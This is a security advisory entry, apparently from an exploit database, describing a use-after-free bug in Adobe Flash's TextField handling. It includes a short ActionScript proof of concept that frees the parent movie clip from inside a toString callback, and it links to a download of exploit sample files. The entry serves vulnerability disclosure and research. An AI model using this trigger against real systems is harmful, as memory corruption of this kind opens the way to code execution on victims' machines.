Source: https://code.google.com/p/google-security-research/issues/detail?id=583 If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows: var mc = this.createEmptyMovieClip("mc", 301); var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100); trace(my_txt); my_txt.variable = "today_date"; mc.today_date = "blah"; var times = 0; var date_interval:Number = setInterval(updateDate, 500); function updateDate() { mc.today_date = {toString : func}; } function func(){ if(times == 0){ times++; mc.removeMovieClip(); } return "test"; } A sample fla and swf are attached. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39049.zip